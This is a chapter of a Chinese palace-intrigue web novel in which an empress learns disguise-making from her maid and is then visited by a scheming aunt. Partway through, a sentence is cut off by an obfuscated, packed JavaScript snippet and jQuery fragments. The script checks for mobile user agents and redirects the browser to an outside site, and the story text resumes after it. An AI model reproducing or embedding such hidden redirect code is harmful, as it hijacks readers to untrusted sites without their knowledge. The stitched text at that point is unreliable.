第十四章
霁尘离开后,阿桑在宫檐下站了好一会儿。
她站了多久,潘妤就看了她多久。
终于阿桑回神,转身对上潘妤充满揶揄的目光,眸中现出不解之色。
潘妤抿着不点而朱的唇,对阿桑招手:
“材料都准备好了,进来吗?”
阿桑想起之前答应教易容的事,见她满脸写着期待,阿桑自不会食言。
潘妤自从决定学习,就在内殿专门划出一块地方,并不刻意避开兰乔嬷嬷等贴身之人。
阿桑之前所写的易容一应用具材料,如今都陈列在桌,两人并肩而坐,阿桑在纸上写下:
【我先把步骤写下来。】
潘妤点头,阿桑便对照着材料,边查看边详细的写下□□的制作步骤,潘妤单手撑着脑袋,百无聊赖的打量起阿桑那张平凡的脸。
她知道这是一张面具,无论是触感还是观感,都跟真的皮肤毫无二致,若非那天阿桑发了高热,让潘妤摸出她的面皮和手腕温度不同,只怕还想不到她竟是易容的呢。
“阿桑。”潘妤托着下巴问:“你的易容术,是不是霁尘教的?”
阿桑扭头看了她一眼,思虑片刻后才摇了摇头。
潘妤自动把她的停顿归为害羞:“他说他是在你家长大的?”
阿桑埋头写字,又过了好一会儿才点了点头。
“那你们岂非青梅竹马?”
潘妤边问边观察着阿桑的脸,很是惊叹面具的精细程度。
因为就连阿桑嘴角微微抽动的小表情都能展现出来,也不知做其他表情时能不能看出差别,于是潘妤继续逗她:
“他为你做了这么多杀头的事,一般的青梅竹马可做不到,他是不是喜……”
谁知潘妤的话没说完,观察也中断了,因为阿桑已经写完步骤,将纸迅速递到了潘妤面前。
“这么快!”
潘妤接过纸从头看起,发现前几条步骤就有点迷:
“揉面?摸骨?”
阿桑这时已经将面与水搅合在一起,在潘妤质疑的目光中,揉成一个面团。
这时候烧一锅水,就能做刀削面了……
阿桑对潘妤做了个【转过来】的手势。
潘妤虽然不解,但还是配合做了,转过身子与阿桑面对面,与她对视了一眼,阿桑的目光很淡,毫无波澜,倒是潘妤莫名有些难为情,下意识想避开阿桑的目光。
仿佛没有察觉潘妤的别扭,阿桑坦坦荡荡的伸手摸上了潘妤的脸,温热修长的手指划过,缓缓测量潘妤三庭五眼的距离,然后是脸骨和头骨。
大概是阿桑摸得十分专业和认真,潘妤开始那股莫名其妙的羞耻感也渐渐消失,直到阿桑忽的起身向她靠近,潘妤才应激般往后退了些。
阿桑指了指自己的耳骨和下颌骨,表示这些地方也需要摸一下。
潘妤对自己大惊小怪的行为很不耻,尴尬的回到原位,特意将脸凑过去,表示随便摸,她不会躲了。
阿桑顺利摸完了骨,然后便转回桌面,开始……捏面团。
要先用面团捏出一个人脸模型,然后再依照这个模型做出一个木雕,再然后才是做面具的流程……
潘妤觉得自己之前想得太天真了,以为很简单,居然这么复杂。
阿桑做事很认真,根据记忆用面团将潘妤的脸骨大致捏了出来,没有五官的人脸面团看着稍微有点渗人,潘妤再次感觉无聊,想要继续刚才没说完的话题:
“阿桑,你说霁尘他对你是不是很不一样?”
“你俩今后有什么打算?”
“你看着比他还高一点,你会不会嫌弃他呀?”
潘妤连珠炮般的问题让阿桑很无奈,原本想忍一忍算了,可潘妤完全不知道见好就收这回事,还越问越近,阿桑没办法,只能转过身去,对潘妤的喋喋不休置若罔闻。
要做一张精美的人皮面具,需要不断修整打磨。
潘妤也不着急,每天有空就过来陪着阿桑,不时跟她说一些无聊且没有营养的话题,阿桑开始两天还觉得有点烦,总是背对着潘妤,两天之后也就习惯,甚至在潘妤说到一些好笑的事时,嘴角也能跟着动一动。
霁尘每两日来一次长秋宫,将他熬的药装进瓷瓶里带来,亲眼盯着阿桑饮下之后就匆匆离开,风雨无阻。
阿桑的顽症需饮十副药方能根治,两日一副,再加上恢复的时间,前后要在长秋宫住一个月。
一个月的时间,说长不长,说短也不短,潘妤倒是挺开心的,不时拿阿桑和霁尘打趣。
而这段时间的后宫,别提多太平了。
因为大家发现,从前那些斗得跟乌眼鸡似的美人们,突然就不斗了,每天聚在一起说说笑笑,写写画画,和谐得令人难以置信。
就是皇帝陛下的精神,好像越来越差了……
上朝打哈欠,谈事打瞌睡。
虽然从前的皇帝陛下上朝谈事也没什么兴致,但好歹坐得住,而现在他刚来就想离开,或者说,若非摄政王压着,皇帝陛下甚至都不愿来前朝。
这后宫,就这么好玩儿吗?
当然好玩!
他的美人们最近风格多变,今日是风尘女子,明日是邻家小妹,后日又是风韵妇人,不管哪一种风格,全都精准的落在楚子玢的喜好之上。
美人们有时三五成群围着他,有时布置出烟雾缭绕的绝美意境,更有美人为博他欢心,竟学会了从天而降的飞天舞……
那妖娆多情的丰腴身段,天籁般的靡靡之音,每日都让楚子玢恍若梦中,乐不思蜀。
楚子玢的变化,后宫的风向,摄政王与太后自然看在眼中,稍事调查过后才知晓了这一切的背后,竟然有皇后娘娘的手笔。
虽然楚子玢是傀儡皇帝,但他们也不希望这个傀儡太过放浪形骸,那些老臣本就对虞氏诸多不满,若是皇帝连个上进要好的样子都不装了,那虞氏的处境只会更难。
但皇帝后宫之事,摄政王不便插手,但也希望太后能稍微提醒一下,但又不许太后过于得罪潘氏,要掌握一个度。
太后有些为难。
自潘氏女入宫,她心里的一口气就没顺过,上回想给潘氏女一个教训,却赔上了她的和安,如今和安还在公主府中禁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466444|169177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
足,若太后再与潘氏女起冲突,只怕更不好向摄政王提及让和安解禁一事了。
所以这个度,掌握起来非常难。
不过很快,太后就想到一个好主意。
既然她不能与潘氏女起冲突,却不代表别人不行。
据闻潘氏女自小养在汝阳,她的母亲出身崔氏,虽然也是钟鸣鼎食的名门望族之家,但崔氏清高,性子又软弱,被潘家留在汝阳多年也无怨无悔,将盛京潘氏的中馈拱手让给了二房夫人安氏。
安氏此人颇有手段,与她打过交道之人都说她是个厉害的。
不过往年入宫时,太后也曾见过安氏几回,安氏对别人或许趾高气昂、颐指气使,但在太后面前却从未有过张扬之举。
虞氏不能与潘氏女起冲突,那就让潘家人来管好了。
安氏就这样被宣召入宫,在长乐宫小坐之后,便前往长秋宫求见。
“谁?”
潘妤正拿着阿桑雕刻好的模型观摩,兰乔嬷嬷便来回禀安氏求见一事。
“是二夫人。”兰乔嬷嬷心中有种不好的预感。
这二夫人素日就压大夫人一头,在太夫人面前十分得脸,就连相爷对她也比对大夫人尊重,是盛京潘氏的二主母,名义上沾了个‘二’字,但实际谁都知道,潘二夫人,才是真正掌权的当家主母。
潘妤疑惑愣住,安氏是她的二叔母,不好好在家管事,跑宫里来做什么?总不会是来走后门的吧?
可她这个皇后娘娘,比楚子玢也好不了多少啊。
“快宣。”
哪怕心中再疑惑,娘家人求见,潘妤说什么都得见一见的。
将木雕放下,让阿桑先回房里去雕琢,潘妤自己则换了身正式的衣裳,去了会客的前殿。
盛装而来的潘妤让安氏眼前一亮,觉得昂着首端庄走来的潘家三姑娘气质有些变化,安氏从前也见过潘妤几回,但都没有这回的惊艳之感,难道是因为她今日穿着皇后衣袍的缘故?
定是这样!
因为潘妤的性子像极了崔氏,都是读书读得昏了头,满脑子礼仪规训的人,又胆小又懦弱,被人奚落了也不敢反驳,只端着她们那名门贵女的派头,勉强做出一副毫不在意的架势,转头回到房中就偷偷哭泣。
刚开始安氏还时常派人去汝阳盯着,后来确定崔氏就是个扶不起的阿斗,安氏也懒得再盯,冷眼旁观着崔氏把女儿教得如她一般。
“入宫以来,二夫人是家中头一个特意来瞧本宫的。”潘妤客气的请她落座,命人上茶:“不知是有何事?”
安氏喝了口茶,见潘妤说起话来仍旧是从前那副柔弱模样,不禁疑惑太后刚才说的真的是潘妤吗?
“回娘娘,家中无事。今日入宫,只因听了些关于娘娘的传闻,觉得有必要入宫提醒一番,免得娘娘人在深宫,却污了潘氏的颜面。”
安氏开门见山,太后的话里话外,都是想让安氏教训一顿潘妤,那安氏便稍微管一管就好。
潘妤原还想可客客气气的招待招待这位婶娘,谁知她一开口就是训人,没有前因后果,那帽子就扣了下来。
这能忍?